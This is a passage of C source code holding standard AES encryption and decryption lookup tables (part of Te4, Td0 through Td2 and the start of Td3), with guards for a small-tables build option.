0x6767a9ceU, 0x2b2b7d56U, 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, }; const u32 Te4[256] = { 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, }; #endif /* AES_SMALL_TABLES */ const u32 Td0[256] = { 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, }; #ifndef AES_SMALL_TABLES const u32 Td1[256] = { 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, }; const u32 Td2[256] = { 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, }; const u32 Td3[256] = { 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 